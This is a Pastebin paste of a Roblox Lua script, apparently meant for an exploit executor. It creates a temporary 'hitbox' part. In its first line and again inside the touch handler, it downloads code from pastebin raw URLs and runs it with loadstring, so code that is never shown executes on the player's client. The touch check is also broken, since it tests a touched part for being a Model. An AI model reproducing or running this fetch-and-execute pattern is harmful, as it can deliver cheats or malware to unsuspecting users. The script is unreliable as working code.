Advertisement
ILovePotato

Untitled

Nov 11th, 2024
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. loadstring(game:HttpGet("https://pastebin.com/raw/WhBzWwCu"))()
  2. -- Create a new part to serve as the hitbox
  3. local hitbox = Instance.new("Part")
  4. hitbox.Size = Vector3.new(5, 5, 5) -- Set hitbox size
  5. hitbox.Transparency = 0.5 -- Make it semi-transparent
  6. hitbox.Anchored = true
  7. hitbox.CanCollide = false
  8. hitbox.Position = Vector3.new(0, 10, 0) -- Set initial position
  9. hitbox.Parent = workspace
  10.  
  11. -- Function to handle hitbox touch
  12. local function onTouched(other)
  13. if other:IsA("Model") and (other:FindFirstChild("Humanoid") or other:FindFirstChild("HumanoidRootPart")) then
  14. -- Check if the hitbox touched a player or a dummy (both have "Humanoid" part)
  15.  
  16. -- Sample loadstring code (replace with your desired code)
  17. local code = [[
  18. print("Hitbox touched by: " .. other.Name)
  19. loadstring(game:HttpGet("https://pastebin.com/raw/dn558sDj"))()
  20. ]]
  21.  
  22. -- Execute the loadstring
  23. local loadScript = loadstring(code)
  24. if loadScript then
  25. loadScript()
  26. loadstring(game:HttpGet("https://pastebin.com/raw/dn558sDj"))()
  27. end
  28.  
  29. -- Destroy the hitbox after a short delay
  30. hitbox:Destroy()
  31. end
  32. end
  33.  
  34. -- Connect the touch event to the function
  35. hitbox.Touched:Connect(onTouched)
  36.  
  37. -- Destroy hitbox if not touched within 1 second
  38. task.delay(1, function()
  39. if hitbox and hitbox.Parent then
  40. hitbox:Destroy()
  41. end
  42. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement